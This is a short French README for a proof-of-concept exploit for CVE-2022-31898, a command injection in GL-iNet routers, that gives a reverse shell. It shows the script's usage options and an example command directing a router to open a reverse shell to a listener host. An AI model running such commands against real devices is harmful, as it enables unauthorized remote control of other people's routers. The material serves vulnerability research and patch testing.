
Exploit de preuve de concept pour CVE-2022-31898, une vulnérabilité d'injection de commandes dans les routeurs GL-iNet (firmware < 3.215). Fournit un shell inversé via HTTP/HTTPS avec authentification configurable.
Code POC d'exploitation pour CVE-2022-31898, une injection de commande pour les routeurs GL-iNet avec un firmware antérieur à 3.215
./cve-2022-31898.py -h
usage: cve-2022-31898.py [-h] -R RHOST [-P RPORT] -L LHOST [-l LPORT] [-p PWD] [-t]
options:
-h, --help show this help message and exit
-R RHOST, --rhost RHOST
IP/hostname of Mango router
-P RPORT, --rport RPORT
Port to connect to Mango router on
-L LHOST, --lhost LHOST
Local host/IP for reverse shell to connect back to
-l LPORT, --lport LPORT
Local port for reverse shell to connect back on
-p PWD, --pwd PWD Password to use to log in
-t, --https If set, use HTTPS
Exploiter le routeur GL-iNet à 192.168.8.1 via HTTPS et se reconnecter à la machine locale à
192.168.8.123:8008 avec le mot de passe admin password:
./cve-2022-31898.py -R 192.168.8.1 -P 443 -L 192.168.8.123 -l 8008 -p password -t